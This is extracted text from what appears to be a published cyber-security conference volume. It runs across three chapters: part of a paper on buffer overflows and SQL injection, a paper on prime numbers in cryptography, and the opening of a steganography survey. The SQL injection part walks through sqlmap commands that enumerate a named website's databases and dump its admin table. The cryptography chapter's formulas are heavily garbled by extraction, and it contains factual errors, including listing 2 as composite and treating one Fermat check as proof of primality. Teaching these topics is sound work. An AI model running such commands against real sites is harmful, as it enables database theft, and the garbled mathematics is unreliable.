control will be transferred after the function executes), stack pointer points to the
top of the stack. Stack grows from high address to low address (while buffer grows
from low address to high address).

Fig. 1 Memory organization

304 M. Khurana et al.

Fig. 2 Stack structure

2.1 Goals of Buffer Overflow Attack to Exploit Vulnerability

The main goal of the attacker is to take buffer overflow as an advantage and to fetch
the control of the privilege program by subverting the function of that program.
Attacker tries to attack the root program and execute code similar to shellcode. To
achieve this goal, two sub-goals need to be achieved [3].
(a) To alter the victim’s program by making it to jump to random memory location,
with suitable parameter loaded into register and memory.
(b) To alter victim’s program by adding malicious code to victim’s program
address space to jump to address where malicious code is injected.

2.1.1 Jump to Random Memory Location

Attacker overwrites program with arbitrary sequence of byte with goal of corrupting
the victim program. It is done by making the victim’s pointer to point to random
address.
According to Table 2, if attacker tries to use more memory (>10), buffer over-
flow will overflow into the space where the return address is located. Attacker can
overwrite this return address with the random bits or random address; by this, the
program will jump to random memory location after function execution [4] and
may lead to program crash as shown in Fig. 3b.
Buffer Overflow and SQL Injection … 305

Table 2 Source code

Fig. 3 a Jump to actual memory location. b Jump to random memory location

2.1.2 To Place Malicious Code in Victim’s Program Address Space

Stack and heap are two areas of memory that a program used for reading and
writing, i.e., buffer can be located in any of these two areas. Attacker provides data
as input to the program to store in a buffer. This data is actually the instruction with
the help of which attackers try to use victim program’s buffer to store the malicious
code of his/her choice.
Attacker injects this executable malicious code into the buffer and overwrites the
return address with the address of this malicious code as shown in Fig. 4b. This
return address can be chosen by hit-and-trial method.
306 M. Khurana et al.

Fig. 4 a Malicious code can be inserted in buffer. b Return address jumps to malicious code

2.2 Challenges with Buffer Overflow

1.3.1 There are some difficulties with buffer overflow attack, they are [5]
(a) Attacker may not know the exact location of malicious code injected.
(b) Attacker may not know the exact location of the return address with malicious
code starting address.
1.3.2 These difficulties can be overcome by different methods:
(a) First problem can be solved by injecting No Operation (NOP) before malicious
code.
(b) Second problem can be resolved by inserting the return address repeatedly. This
may overwrite the actual return address with attacker’s return address and will
make pointer jump to any NOP address which in turn may point to next NOP
and after last NOP malicious code will be executed (Fig. 5).

Fig. 5 Insert NOP

Buffer Overflow and SQL Injection … 307

2.3 Protection Against Buffer Overflow

There are some ways to protect the software from buffer overflow:
(a) Brute force method—to write completely the correct code but to write an
error-free code is not achievable. One of the ways to achieve near to error-free
code is to introduce buffer overflow intentionally to search for vulnerable
components in the program. The other way is to use debugging and analysis
tools to find buffer overflow vulnerabilities. This method does not eliminate all
the vulnerabilities but reduces them [6].
(b) Do not allow the code to execute on stack; stack is made non-executable by
using No execute bit or NX bit (supported by some hardware); memory can be
flagged so that code cannot be executed in a specified location.
(c) Safe program language—Java and C# have boundary check at runtime. They
automatically check the arrays out of bound. These languages do not allow
memory locations to be accessed which are out of boundary but have perfor-
mance penalty for checking, due to which developer chooses C language. So in
that case do not use unsafe function, use its safe alternative. Use safe functions
such as fgets, strncpy, strncat, and snprintf instead of C unsafe functions gets,
strcpy, strcat, sprintf, scanf, etc. [7].
(d) Runtime Stack Checking—Runtime stack checking can be introduced by
pushing special value on the stack after return address. When return address is
popped off stack, the special value can be used to verify that return address has
not changed and in order to overwrite the return address, this special value also
needs to be overwritten.

3 SQL Injection

SQL injection is one of the most famous attacks used in hacking. Every web
application has its data stored in any database. These databases contain some
sensitive and confidential data. Web applications accept the data from the users.
This data is retrieved from the database through SQL queries. To insert, retrieve,
update, and delete the data from database, SQL language is used. Using SQL
injection attacker can have unauthorized access to the system. For example, there is
any website let say Gmail that provides user an interface to enter his email id and
password. The email id and password form the part of the internal SQL query. User
enters his credentials, then these credentials are matched with the data stored in the
database. So if the hacker gets the access to that database he can easily get your
credentials and thus can attack your account like sending fake mails, deleting
important data, or extracting private information from database. Thus, SQL injec-
tion is defined as a mechanism that allows hacker to inject SQL commands to allow
them to gain access to the data held within your database. SQL injection uses the
308 M. Khurana et al.

concept of duality of data and command to get information from database. In SQL
injection, the hacker type SQL keyword to modify the structure of SQL query was
developed by web programmer, and trick the SQL interpreter to execute uninten-
tional orders. The SQL query is modified in such a way that the interpreter is unable
to differentiate between the actual command and hackers input [8]. The interpreter
is tricked to execute such unintended commands. For example, when we search any
website, we write URL:
Original query: https://88keystoeuphoria.com/video.php?id=’32’
Injected query: https://88keystoeuphoria.com/video.php?id=’32’’
This is translated into query—Select * from TABLE where id=’32’’
The hacker has intentionally modified the query and inserted an extra apostrophe
after 32. It is syntactically incorrect, so our database will throw an error message
that infers the information about table like table name. Therefore, he is able to
extract information using wrong query.

3.1 Testing Website for SQL Injection

For SQL injection, first the hacker/attacker identifies whether a website is vulner-
able or not. There are various tools to check vulnerability of website [9]
(a) Acunetix—It automatically checks the given web application for SQL injection
and other vulnerabilities.
(b) Nesus—Nessus is the best unix vulnerability testing tool. It also runs on
windows. Key features of this software include remote and local file security
checks client/server architecture with a GTK graphical interface etc.
(c) Retina—It is an another vulnerability testing tool. It scans all hosts on a net-
work and reports on any vulnerability found.
(d) Metasploit framework—It is an open-source penetration testing software tool
with the world’s largest database of public and tested exploits.
For example, let say we have a website say keystoeuphoria.com. Now we are
going to exploit it using Kali Linux. Before starting, read the following disclaimer:
You may face legal action if you do not have the permission from the admin-
istrator of the website that you are testing for SQL injection. They can track your IP
address. So it is advisable to try it only if access privilege is provided.
SQL injection includes four main steps [10]:
Step 1: Enumerate the database
Open the terminal window on Kali Linux and write the following command
Sqlmap—u “https://keystoeuphoria.com/video.php?id=32”—dbs;
Result—The command checks whether the typed URL website is vulnerable or
not, and if it is vulnerable it will show you the list of various databases that exist
over that website (Fig. 6).
Buffer Overflow and SQL Injection … 309

Fig. 6 a Query to retrieve database names. b List of database names retrieved

Step 2: Enumerate the table name

After having the details of various databases that exist over website keystoeuphoria,
the attacker tries to find out the various tables that exist in the chosen vulnerable
database. Following command is typed on the terminal:
Sqlmap—u “https://keystoeuphoria.com/video.php?id=32”—D databasename
—tables
Sqlmap—u “http://keystoeuphoria.com/video.phpid=32”—D euphoriadb—
tables (Fig. 7).
Step 3: Enumerate the column name
After obtaining different table names, we will choose the one that is most useful to
us like admin table, as admin table might include user admin password details. If
one is able to obtain the admin password, he can easily get the privileges of admin
and do changes in site as per his wish. So before looking at the data, we have to find
the different column names by enumerating the column name:
Sqlmap—u “ url ”—D databasename—T tablename—columns
Sqlmap—u “https://88keystoeuphoria.com/video.php?id=32”—D euphoriadb—
T admin—columns (Fig. 8).
310 M. Khurana et al.

Fig. 7 a Query to retrieve table names. b List of table names retrieved

Step 4: Fetch Password/Column content:

After fetching the above information, we try to extract vulnerable information
for exploitation like the admin password details by the following command.
Sqlmap—u “ url “—D dbname—T tablename—dump (Fig. 9).
This example shows that the database information can be accessed that is been
hosted on web application due to SQL injection vulnerabilities. This will lead to
loss of information and confidentiality and will result in financial cost for recovery,
downtime, penalties, etc.
Even if the sites are not storing user information in the web application database,
they are also at risk of losing database integrity. SQL injection vulnerabilities allow
the attacker to inject malicious code by taking advantage of persistent storage
and dynamic page content generation. This may redirect the visitor visiting this
vulnerable site to malicious site. By redirecting visitor to this malicious site,
attacker can remotely access the visitor’s system by exploiting his other system’s
vulnerability or system crash can take place [11].
Buffer Overflow and SQL Injection … 311

Fig. 8 a Query to retrieve column names. b List of column names retrieved

Fig. 9 a Query to retrieve dump. b List of dump retrieved

312 M. Khurana et al.

4 Conclusion

Buffer overflow and SQL injection are still biggest security problems in software
and web applications, respectively, that will exist in future for long time due to
large amount of legacy code. This paper explains buffer overflow attack vulnera-
bilities and the preventives measures that can be taken to protect it from the
attackers. This paper demonstrates method with example for testing web applica-
tions for SQL injection vulnerabilities that attackers use to compromise a web
application. These SQL queries can be tried on real-time application under
administrative control.

Refrences

1. Stamp M (2006) Information security principles and practices. Wiley, Hoboken, NJ

2. Cowan C, Wagle P, Pu C, Beattie S, Walpole J Buffer overflows: attacks and defenses for the
vulnerability of the decade. In: Proceedings of DARPA information survivability conference
and expo (DISCEX)
3. Foster JC, Osipov V, Bhalla N, Heinen N (2005) Buffer overflow attacks detect, exploit,
prevent. Syngress Publishing Inc., Rockland
4. Shaneck M (2003) An overview of buffer overflow vulnerabilities and internet worms. In:
CSCI, 10 Dec 2003
5. Kak A (2015) Buffer overflow attack. In: Lecture Notes on Computer and Network Security,
Purdue University, 2 April 2015
6. “Buffer-Overflow Vulnerabilities and Attacks”, in Lecture Notes, Syracuse University. http://
www.cis.syr.edu/*wedu/Teaching/CompSec/LectureNotes_New/Buffer_Overflow.pdf
7. Halfond WGJ, Viegas J, Orso A (2006) A classification of SQL injection attacks and
countermeasures. In: Proceedings of the international symposium on secure software
engineering, Mar 2006
8. Halfond WGJ, Orso A (2005) Combining static analysis and runtime monitoring to counter
SQL-injection attacks. In: Proceedings of the international workshop on dynamic analysis
(WODA), May 2005
9. Halfond WGJ, Anand S, Orso A (2009) Precise interface identification to improve testing and
analysis of web applications. In: Proceedings of the international symposium on software
testing and analysis (STA), July 2009
10. Boyd SW, Keromytis AD (2004) SQLrand: preventing SQL injection attacks. In: Lecture
Notes in Computer Science, vol 3089. Springer, pp 292–302
11. Dougherty C (2012) Practical identification of SQL injection vulnerabilities, Carnegie Mellon
University. Produced for US-CERT, a government organization, 2012
Buffer Overflow and SQL Injection … 313

Author Biographies

Mehak Khurana is currently working as assistant professor in The NorthCap University in CSE
and IT and has around 6 years of experience. She completed her M.Tech from USIT, GGSIPU in
2011 and B.Tech from GTBIT, GGSIPU in 2009. Currently she is also pursuing Ph.D in the field
of Information Security and Cryptography at NCU. Her key areas of interest are Cyber Security,
Ethical Hacking and Cryptography. She has contributed research papers in various national and
international journals and conferences. She is lifetime member of Cryptology Research Society of
India (CRSI).

Ruby Yadav has worked as Research Associate in The NorthCap University in CSE & IT dept.
She has published papers in reputed international conferences and journals. She has completed
M.Tech and B.Tech from MDU. She is lifetime member of Cryptology Research Society of India
(CRSI).

Meena Kumari has worked as a professor, Dept of CSE & IT at The NorthCap University. She
has also worked as Scientist ‘G’ at DRDO (Defence Research & Development Organization) and
has 37 years of research experience in cryptology.
Prime Numbers: Foundation
of Cryptography

Sonal Sarnaik and Basit Ansari

Abstract Prime number plays a very important role in cryptography. There are
various types of prime numbers and consists various properties. This paper gives
the detail description of the importance of prime numbers in cryptography and
algorithms which generates large/strong prime numbers. This paper also focuses on
algorithms which find prime factors and tests whether the entered number is prime
number or not.

Keywords Prime numbers
Primality testing
Prime number generation

1 Introduction

Exchange of information or data plays a very vital role nowadays. There are various
ways through which this data is exchanged. Today’s most common way is to
communicate through some electronic medium for exam Internet. We perform
many important tasks through the internet such as online shopping, online banking,
personal data share, etc. So it is very important to make this communication very
secure so that an attacker will not be able to get access to the data. Currently, there
are various security measures to make this communication secure one of the method
is to use Cryptography [1–4]. Cryptography focuses on the concept that “security
can be achieved by hiding the data or converting it into some unreadable form,” so
cryptography is the study of mathematical science which is used to convert the data
in some incomprehensible form which gives security to the data [1–3], i.e., cryp-
tography is the art of secret writing [4]. Secret writing is achieved by applying the
key to the original data which converts original data into unreadable data (called as
Encryption) and unreadable data to original data (called as Decryption) [1–4]. This

S. Sarnaik (&)
B. Ansari

Marathwada Institute of Technology, Aurangabad, India
e-mail: [email protected]
B. Ansari
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 315

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_31
316 S. Sarnaik and B. Ansari

task is achieved by applying key at sender and key at receiver for encryption and
decryption. Two types of keys are mostly used in cryptography, symmetric key and
asymmetric key [3, 4]. The intensity of the security will completely rely on the type
of key is used. An asymmetric key is much stronger then symmetric key as in
asymmetric key two different keys are used one for encryption (encryption key is
publically declared) and one for decryption (Decryption key is private only known
to receiver) whereas in symmetric key, the same key is used to encryption and for
decryption [1–4]. An asymmetric key is also called a public-key cryptosystem
[3–5].
There are various algorithms which are used to provide security to the data.
Basically, all the concepts of cryptography based on the modular arithmetic con-
cepts, Number systems, Groups rings, Fields, etc [4, 5]. This paper focuses on the
concepts of the number system and in which prime number which plays a vital role
in Cryptography. If we consider about asymmetric key then the calculation of key
completely depends on the prime number and its factors [3–5].

2 Prime Numbers

The numbers which are divisible by itself or by 1 are called as prime numbers and
other numbers are called as composite numbers. Examples: 2, 3, 5, 7, 11, 13, 17,
19, etc., are prime numbers which are divisible by only one or by itself and rest of
the numbers such as, 2, 4, 9, 10, 12, 14, etc., are composite numbers [4, 6–10]. The
securities of cryptographic algorithms are depending on prime numbers and its
length. There are various type of prime numbers such as Balance prime, Circular
Prime, Long Prime, Mersenne Prime, Minimal Prime, Strong Prime, Palindromic
Prime, Permutable Prime, Twin Prime, Unique Prime, Wilson Prime, Regular
Prime, Integer Sequence Prime, Higgs Prime, etc. All these types of prime numbers
have different properties and it is used in cryptography depending on its properties.
The main type of prime numbers which plays a vital role in cryptography are strong
prime numbers. A strong prime is a prime number with certain special properties.
A number p is a strong prime number if it satisfies following conditions [2–4]:
• p is large prime number
• p − 1 must have large prime number factor, say a1 q1, where p = a1 * q1 + 1
• q1 must have large prime factors say a2 q2, where q1 = a2 * q2 + 1
• p + 1 must have large prime factors say a3 q3, where p = a3 * q3 − 1.
Prime Numbers: Foundation of Cryptography 317

3 Importance of Prime Number in Cryptography

Strong primes are basically used in public-key cryptography to make encryption

key and decryption key more secure. Algorithms such as RSA algorithms, Taher
and ElGamal algorithms, elliptical curve cryptography, etc., uses strong prime
numbers for the encryption key and decryption key generation [2–5]. For example,
RSA algorithm uses two types of key, public key (also called as an encryption key)
and private key (also called as decryption key) [2–4]. The public key is used to
encrypt data; this key is publically declared and known to all [4, 5].
Private key is used to decrypt the data by the receiver, as the name suggests this
key is private and no one else can use this key [4, 5]. The main security point in
RSA is completely depending on two prime numbers chosen by the sender used for
public-key generation and private-key generation [2–5, 11].
RSA algorithm:
Step 1: Sender selects two large prime number p and q
n=p*q
Calculate u(n) = (p − 1) * (q − 1)
Step 2: Choose d such that it satisfies following condition.
• Gcd(d, u(n)) = 1
• Max(p, q)
• d must be prime no
Step 3: Find e such that it satisfies:
• e. d  1 mod u(n)
• e > log2(n)
• Gcd(e, u(n)) = 1
Step 4: C = M e mod n
Step 5: M = C d mod n
Where M is original text, C is Ciphertext, p and q both are prime numbers, n is
the product of two prime numbers, u(n) is Euler’s totient function, e is the
Encryption key, d is the Decryption key.
In above demonstration, we can easily understand that if p and q are sufficiently
large then complexity other computations will be increased and so decryption key
will be very difficult to find out by any third user. This has been shown in [11]. If
encryption key and n are known then by applying various factorization methods it is
very easy to find prime factors of n, through which decryption key is easy to find
[11].
318 S. Sarnaik and B. Ansari

4 Primality Testing

There are various tests which will give us result that whether the entered number is
a prime number or not. Methods such as Fermat little’s theorem, Miller Rabin,
Solovay Strassan [2–6]. An old method of primality checking on the given number
is trial and error method, where number “n” will be divided by all possible m from 2
to n, if n gets divided by m then the number is not prime number else number is a
prime number [2–5].
Example:
n = 13 then m = 2, 3, …12
n mod m =? 13 mod 7=6
13 mod 2 =1 13 mod 8=5
13 mod 3 =1 13 mod 9=4
13 mod 4 =1 13 mod 10 = 3
13 mod 5 =3 13 mod 11 = 2
13 mod 6 =1 13 mod 12 = 1

In this example, n is not divisible by all possible m up to n − 1. Hence we can

say that the given number n is called a prime number. This method is very much
time consuming and hence it is not used. Following are the algorithms/Methods
which are mostly used to identify whether the entered number is prime or not.
i. Fermat little theorem
A different method is used to check primality of a given number is Fermat little
theorem. According to Fermat’s Little Theorem any number “p” who is prime and
any number “a”, where p a (a is not divisible by p), ap−1 = 1 (mod p) [4].
Example:
a = 15, p = 37
ap−1 = 1 (mod p).
1537−1 mod 37 = 1
1 = 1 mod p
so, 37 is a prime number.

ii. Solovay–Strassen Algorithm

This algorithm is based on Monte Carlo

algorithm with error probability at most
of half. It uses Legendre Jacobi symbol an , where n is the odd composite number
which can be factorized. Instead of factorizing, it can be solved by using some
concepts of number theory and some other properties [3, 4].
Properties such as
Prime Numbers: Foundation of Cryptography 319

a. Legendre’s Symbol: This property will be applicable only if n is prime number.

a
¼ 0; if m ¼ 0 mod n
na
¼ 1; if x2 mod n ¼ m but m 6¼ 0 mod n ðx is some valueÞ
n
a
¼ 1; otherwise
n

b. Bimultiplicativity:
     
m1m2 m1 m2 m   m  m 
¼ or ¼
n n n n1n2 n1 n2

c. Invariance:
m m mod n
¼
n n

d. Reciprocity: If, m and n are both odd positive numbers then

m n
¼ 1ðm1Þðn1Þ=4
n m

e. Special Values:
     
2 ð n2 1Þ=8 1 0
¼ 1 ; ¼ 1; ¼0
n n n

f. Euler’s Theorem: If n is prime number then for any m,

m
mðn1Þ=2 ¼ mod n
n

Input: Take any odd number “n”

Output: Number is prime of Not

Step 1: pick a random integer “a”,

Where
 a  1 and a  n − 1.
Step 2: z = an ––by using Legendre Jacobi Symbol
if z ¼ 0, then write (“Entered number is composite”)
320 S. Sarnaik and B. Ansari

Step 3:

y ¼ aðn1Þ=2 mod n

If z  y mod n
Then
Write (“Entered number n is prime”)
Else
Write (“Entered number n is composite”)

Example:
Say n = 367

Step 1: a ¼
21 where

21  a is 1\21\366
Step 2: x ¼ an ¼ 367
       
21 73 7 3
¼ ¼    By Bimultiplicativity propety
367 367 367 367
ð1Þ
   
7 367
¼ ð1Þð71Þð3671Þ=4   By Reciprocity property
367 7
   
367 367 mod 7
¼ ð1Þ ¼ ð1Þ
7 7
¼ ð1Þð1Þ ¼ 1  By Invariance Property and Euler0 s Theorm
   
3 367
¼ ð1Þð31Þð3671Þ=4   By Bimultiplicativity property
367 3
 
367
¼ ð1Þ
3
 
367 mod 3
¼ ð1Þ   By Invariance property
3
 
1
¼ ð1Þ  By Special value property
3
¼ ð1Þð1Þ ¼ ð1Þ
ð2Þ

Putting above values in Eq. 1,

Prime Numbers: Foundation of Cryptography 321

       
21 73 7 3
x¼ ¼ ¼  ¼ ð1Þð1Þ ¼ 1
367 367 367 367
x ¼ 1

Step 3:
n1
y¼a 2 mod n
3671
y ¼ 21 mod 367
2
ð3Þ
y ¼ 366 ðWhich is equal to  1 mod 367 ¼ 366Þ; so
y ¼ 1

from Eqs. 2 and 3

x  y mod n

Hence, 367 is a prime number.

iii. Miller–Rabin Algorithm

Input: Any odd number “n”

Output: Number is prime of Not
Step 1: n  1 ¼ 2i j, where n and j both are odd.
Pick a random number k, Where, k  1 and k  n − 1.
Step 2: Calculate l ¼ ka j mod n if l  1 mod n then write(“Entered
number is prime”)
Step 3: for m = 0 to j  1
do l  1 mod n
Then return (“Entered number is prime”)
Else
l ¼ l2 mod n
Step 4: Write (“Entered number is Composite”)

Example:
n = 131
322 S. Sarnaik and B. Ansari

Step 1: n – 1 = 131 − 1 = 130 = 21 * 65, So k = 1 and m = 65. Consider

a = 40 where 1  40  130
Step 2: b = am mod n = 4065 mod 131= 130
b  1 mod 131, hence go to next step
Step 3: for i = 0 to 1
b  1 mod n
130  1 mod 131
130  130   condition is true hence 131 is prime

5 Prime Number Generation Algorithm

If we consider the example of RSA algorithm we can say that security of RSA
completely depends on the two prime numbers, but is very difficult to find such
strong prime numbers because if a prime number is week then the decryption key
will easily break [11]. Similarly, there are various algorithms in cryptography which
uses the prime number in the process of key generation. To avoid this difficult to
find large or strong prime number, there are various prime number generation
algorithms which gives a strong/large prime number as output [4, 12]. Algorithms
such as a naive incremental generator, Random search for a prime Product of
Primes, Modular search method, Williams–Schmidt algorithm for finding strong
primes, Gordon’s algorithm for finding strong primes, etc [3–10, 12]. If we discuss
Gordon’s algorithm for finding strong primes then the following algorithm and its
output shows how it produces large and strong prime number from two small prime
numbers [12].

Input: Two prime numbers q, r.

Output: a strong prime p is generated.

Step 1: Pick an integer j0. Calculate and pick the first prime number in
the sequence of 2 * j * r + 1, Where, j = j0, j0 + 1, j0 + 2 …
Denote this prime by s = 2 * j * r + 1
Step 2: Calculate l0 = 2(q * s − 2 mod s) q − 1.
Step 3: Pick an integer k0. Calculate and discover the first prime number
in the sequence l0 + 2k * s * q,
Where k = k0, k0 + 1, k0 + 2 . . .
Symbolize this prime by p = l0 + 2 * k * s * q.
Step 4: Write (p).
Prime Numbers: Foundation of Cryptography 323

Example:

First prime number Second prime number Generated prime number

5 7 349
13 23 5641
157 163 557663
1511 1523 186832127
9941 9973 3034530013
10039 10753 1858419679
1435139 1255361 90549882804427
3413857 4281313 11418127264703807
7646137 8378239 27535998464638019

6 Integer Factorization Algorithms

It is easy to find Prime factors of a small number, such as 35 = 7 * 5, but the same
task becomes difficult if we try on very large numbers. In public-key cryptography,
it is very important to get prime numbers through factorization from a large
composite number [4, 5, 8, 13–17]. Various algorithms are there which performs
the task of finding prime factors of a large composite number, such as Number Field
sieve, Quadratic sieve algorithm, Pollard P-1 algorithm, Pollard’s rho algorithms,
etc [3–5, 8, 16, 17]. We can get the original odd composite number by multiplying
Prime factors with each other. Consider the following example Where, 8633 is an
odd composite number and 89, 97 are two prime factors, By multiplying these two
factors, we can get the original odd composite number, 89 * 97 = 8633.
Example: 8633 = 89 * 97, Here n 8633, p 89 and q 97
i. Pollard’s rho algorithm:
Integer factorization algorithms can be differentiated in two terms,
Special-purpose algorithm and general purpose algorithm, Pollard’s rho algorithm
is an example of special-purpose factoring algorithm, which is used to find small
prime factors of a composite integer. It is basically useful to find nontrivial factors
[3, 4].

INPUT: Consider any odd composite integer n.

OUTPUT: a nontrivial factor d.
1. Consider two numbers i and j, where i = 2, j = 2.
2. For k = 1, 2, . . .do the following:
324 S. Sarnaik and B. Ansari

2:1 Calculate i = i^2 + 1 mod n,

j = j^2 + 1 mod n,
j = j^2 + 1 mod n.
2:2 Calculate d = GCD (i − j, n).
2:3 If d is greater than 1 but less than n, Write (p) and terminate with
success. (Second factor can be calculated by using d1 = (n/d))
2:4 If d is equal to n then terminate the algorithm with failure

Here, p and q are the smallest prime factors of n. This algorithm uses polynomial
function f with integer coefficient, i.e., f(x) = x2 + c, Where c can be any value from
1 but not c 6¼ 0, −2 [3–5, 13–17].
Example:

Odd composite number First factor Second factor

143 11 13
259 7 37
1927 41 47
391883 67 5849

ii. Pollard p-1 algorithm:

This algorithm is an example of special-purpose factoring algorithm to find used
to find prime factors p and q from odd composite integer n. It uses smoothness
pffiffiffi
bound concept which is calculated by n þ 1 [3–5, 13–17].

INPUT: Consider odd composite integer n.

OUTPUT: A nontrivial factor of d.
Step 1. Calculate smoothness bound B.
Step 2. Pick random integer s, Where 2  s and s  n − 1,
Compute d = gcd(s, n). If d  2 hen write (d is first factor).
Step 3. For each prime t  B do the following:
3:1 Compute l = lnln nt
3:2 Compute s←stl mod n
Step 4. Compute d = gcd(s − 1, n).
Step 5. If d = 1 or d = n, then terminate the algorithm with failure.
Else, Write (d is the first factor). (Second factor can be calculated by using
d1 = (n/d))
Prime Numbers: Foundation of Cryptography 325

Example:

Odd composite number First factor Second factor

87 3 29
553 7 79
2253 3 751
112579 103 1093

7 Conclusion

Prime number is a very important concept in cryptography. Because of its various

features, it is used in almost all well-known algorithms of cryptography such as
RSA, Taher and ElGamal, Diffie–Hell key exchange algorithms, etc. Also, various
algorithms are there to generate prime numbers such as Gordon’s algorithm for
finding strong primes and various algorithms to check its primality. This paper
focuses on such algorithms with various examples and its use in various crypto-
graphic techniques.

Book References

1. Menezes B. Network security and cryptography: Cengage Learning, India, 2010, 432
2. Bose R. Information theory, coding and cryptography 2008, Tata Mc Graw hill
3. Menezes AJ, van Oorschot PC, Vanstone SA (2001) Handbook of applied cryptography,
CRC Press, London, Oct 1996, 816
4. Stinson DR (2006) Cryptography: theory and practice, 3rd edn. CRC Press, London

Journal References

5. Rivest R, Shamir A, Adleman L (1978) A method for obtaining digital signature and
publickey cryptosystem communications. ACM 21:120–126
6. Crandall R, Pomerance C (2001) Prime numbers, a computational perspective. Springer,
New York
7. Joye M, Paillier P, Vaudenay S (2000) Efficient generation of prime numbers?,
Springer-Verlag, 1965:34–354
8. Rivest RL, Silvermany RD. Are strong primes needed for RSA?
9. Agrawal M, Kayal N, Saxena N. Primes is in p
10. Wagsta SS Jr (2014) Is there a shortage of primes for cryptography?, 2(IX), Sep 2014,
IJARET
11. Sarnaik S, Gadekar D, Gaikwad U. An overview to integer factorization and RSA in
cryptography
12. Saouter Y. A (1995) new method for the generation of strong prime numbers, RR-2657,
INRIA
326 S. Sarnaik and B. Ansari

13. Galbraith SD (2012) Towards a rigorous analysis of Pollard Rho. Mathematics of public key
cryptography. Cambridge University Press, Cambridge, pp 272–273, ISBN 9781107013926
14. Yan Y (2008) Integer factorization attacks. Cryptanalytic attacks on RSA, Springer-Verlag,
US, 255
15. Abubakar A, Jabaka S, Tijjani BI (2014) Cryptanalytic attacks on Rivest, Shamir, and
Adleman (RSA) cryptosystem: issues and challenges, JATIT, Mar 2014, 61(1):37–43
16. Hawana B (2013) An overview and cryptographic challenges of RSA. IJERMT
17. Chalurkar SN, Khochare N, Meshram BB (2011) Survey on modular attack on RSA
algorithm, IJCEM, Vol 14, Oct 2011, 106–110
Steganography: A Survey

Shilpa Pund-Dange

Abstract Due to the popularity of Internet and communication media, data secu-
rity is one of the most focused areas of research. Cryptography and steganography
are two important disciplines in the area of security. Image steganography is one of
the techniques used to hide data inside an innocent image so that it is not visible to
an eavesdropper while communication. This is a very useful technique when we
transmit data from sender side to the receiver side. Many steganographic methods
are suggested by the researchers struggling for good embedding capabilities and
imperceptibility. This paper describes a survey on various image steganography
techniques in spatial domains with their strengths and weaknesses.

Keywords Steganography
Stego-image
Spatial
Transform

1 Introduction

In recent years, the security and confidentiality of sensitive data have become very
important due to the fast growth of internet and communication technologies.
Therefore, how to protect this secret data from the unauthenticated user during
transmission become an important issue nowadays. The well-known techniques
which are used to provide security are Cryptography and Steganography.
Cryptography is often used to protect information secrecy making message
scramble so that it cannot be understood. Steganography means hiding information
in digital media such that no one should be aware of the existence of information.

S. Pund-Dange (&)
Department of Computer Science, Modern College, Shivajinagar,
Pune 411005, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 327

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_32
328 S. Pund-Dange

The components of a basic framework of Steganography are as follows:

1. Cover object
2. Stego key
3. Stego object.
The sender embeds the secret message into the cover object by using the stego
key. The same stego key will be used at the receiver’s end to extract the secret
message.

2 Steganography Techniques

There are three different ways to hide a digital message in a digital cover.
Injection: In injection method, the secret message is directly embedded in the host
medium. This increases the file size and hence sometimes the changes can be easily
detectable.
Substitution: In this method, the actual data is substituted with the secret data. This
creates a little change in the size of the cover object. However, the quality of the
cover object can degrade depending on the type of cover object and the amount of
data embedded.
Generation of New Files: In this method, a cover is specially generated for the
purpose of concealing a secret message [1].

2.1 Types of Steganography

There are two basic types of Steganography:

Technical Steganography: Technical steganography uses special tools, devices, or
scientific methods to hide a message. In technical Steganography, hiding places in
the cover object are found out to embed the secret message. Various
computer-based methods are used for embedding and extracting process.
Linguistic Steganography: Linguistic steganography is used to hide the message
within the text in such a way that no one should aware of the presence of a secret
message. It is not perceptible to the human eye.
Steganographic systems can be grouped by the type of covers used (text, image,
audio, video, or executables) or by the techniques used (Fig. 1).
This paper focuses on image steganography. In this technique, pixel intensities
are used to hide the information. Image steganography can be carried out by two
techniques:
Steganography: A Survey 329

Steganography

Text Image Audio/Video Protocol

Transform Domain Image Domain

JPEG Patchwork

Spread Spectrum LSB in BMP LSB in GIF

Fig. 1 Types of covers

1. Transform Domain (Steganography in the image frequency domain)

2. Image Domain (Steganography in the image Spatial Domain).
Here focus is on Spatial Domain Technique.

2.2 Spatial Domain Methods

There are many versions of spatial steganography. In all these methods, some of the
bits in the image pixel values are directly changed for data hiding. Least significant
bit (LSB) steganography is one of the simple techniques that hide a secret message
in the least significant bit of the pixel value. As the only LSBs are changed, there is
no distortion in the image and the change is not perceptible to the human eye. Some
spatial domain methods are listed below:
1. Least significant bit (LSB)
2. Edges-based data embedding method (EBE)
3. Pixel value differencing method (PVD)
4. Pixel intensity-based method
5. BPCS steganography
6. Mapping pixel to hidden data method
7. Labeling or connectivity method
8. Random pixel embedding method (RPE)
9. Texture-based method
10. Histogram shifting methods [2, 3].
Generally, image steganography is categorized into the following aspects.
330 S. Pund-Dange

Capacity: Maximum data can be embedded into the image.

Imperceptibility: After embedding process, the perceptual quality of the
stego-image will not be degraded.
Robustness: After embedding, even if an image undergoes different transforma-
tions like filtering, cropping, etc., still data should be intact.
Temper Resistance: Once the message has been embedded into stego-image, it
should not be altered.
Computation Complexity: Computational cost for embedding and extracting a
message must be less [2].

3 Literature Review

As the focus is on Spatial Domain Method, some of the methods are explained
below:
In LSB method, a digital media like audio, video, or image, there is a large
amount of space which we can use for steganography. Digital data consists of bytes.
Each byte contains 8 bits. These 8 bits makes a color of a pixel. The MSB plays
important role in the different shades of color. The LSBs have less impact on color.
So if we make a change in the Least Significant Bit, it changes the value by +1 or
−1 which is not perceptible to the human eye. So by taking the advantage of human
perception, LSB steganography works.
For example, following is the bit representation of the digital cover

11000001 10010110 10000001 11001101 01101001 01110101

01001110 10100110

We want to embed a message which is a secret code, suppose 207. The binary
representation of 207 is 11001111.
Now by using the LSB method, the message is embedded as follows:

11000001 10010111 10000000 11001100 01101001 01110101

01001111 10100111

To embed 8 bit of data we need to change only five bits. This change will create a
very small or no noticeable difference in the cover image. Hence, if the digital cover
is in several kilobytes or megabytes then we can embed huge amount of data within.
In Pixel Value Differencing (PVD) method [4], the cover images having the
maximum intensity value 256. Two neighboring pixels p1 and p2 are read and the
difference value d in between them is computed. The reading of two neighboring
